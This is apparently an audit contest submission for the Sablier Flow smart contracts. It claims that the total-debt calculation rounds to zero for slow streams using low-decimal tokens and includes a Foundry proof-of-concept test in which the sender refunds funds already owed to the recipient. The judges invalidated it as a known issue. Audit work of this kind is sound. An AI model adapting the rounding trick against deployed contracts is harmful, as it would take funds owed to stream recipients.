Flow

Sablier
FoundryDeFi
20,000 USDC
View results
Submission Details
Severity: medium
Invalid

Incorrect calculation for total debt

Summary

Total debt calculation will return incorrect amount when totalDebtScaled is less than 10^(18 - token decimals).

Vulnerability Details

https://github.com/Cyfrin/2024-10-sablier/blob/8a2eac7a916080f2022527408b004578b21c51d0/src/SablierFlow.sol#L510
totalDebtScaled is divided with 10^(18 - token decimals). This returns 0 for slow streams.

Impact

_totalDebtOf is used during _withdraw, _coveredDebtOf, _refundableAmountOf, _refund.
It will impact user from withdrawing amount that is available to him.
It will give stream sender the right to refund amount that should not be refunded.

Tools Used

manual review

POC

// SPDX-License-Identifier: MIT
pragma solidity >=0.8.22;
import { Base_Test } from "./Base.t.sol";
import { console } from "forge-std/src/console.sol";
import { ERC20Mock } from "./mocks/ERC20Mock.sol";
import { UD21x18, ud21x18 } from "@prb/math/src/UD21x18.sol";
import { IERC20 } from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
contract AuditTest is Base_Test {
function testTotalDebtDiffersFromOngoingDebtScaledForAFreshStream() external {
vm.stopPrank();
vm.startPrank(users.eve);
address winner = address(777);
ERC20Mock wbtc = new ERC20Mock("WBTC", "WBTC", 8);
wbtc.mint(users.eve, 1000e8);
uint128 rps = 150;
wbtc.approve(address(flow), type(uint256).max);
uint128 amountToDeposit = 1e8;
uint256 streamId =
flow.createAndDeposit(users.eve, winner, ud21x18(rps), IERC20(address(wbtc)), true, amountToDeposit);
uint256 balanceOfSenderAfterDepositing = wbtc.balanceOf(users.eve);
// after 1 day
vm.warp(block.timestamp + 1 days);
// if stream have never been paused then ongoing debt have to be equal to the total debt
assertEq(flow.isPaused(streamId), false);
assertEq(flow.getSnapshotDebtScaled(streamId), 0);
assert(flow.totalDebtOf(streamId) != flow.ongoingDebtScaledOf(streamId));
assert(flow.ongoingDebtScaledOf(streamId) > 0);
flow.refund(streamId, flow.refundableAmountOf(streamId));
uint256 balanceOfSenderAfterRefund = wbtc.balanceOf(users.eve);
assertEq(balanceOfSenderAfterDepositing + amountToDeposit, balanceOfSenderAfterRefund);
}
}

Recommendations

Updates

Lead Judging Commences

inallhonesty Lead Judge
12 months ago
inallhonesty Lead Judge 12 months ago
Submission Judgement Published
Invalidated
Reason: Known issue

Appeal created

hueber Submitter
12 months ago
hueber Submitter
12 months ago
inallhonesty Lead Judge
12 months ago
inallhonesty Lead Judge 12 months ago
Submission Judgement Published
Invalidated
Reason: Known issue

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.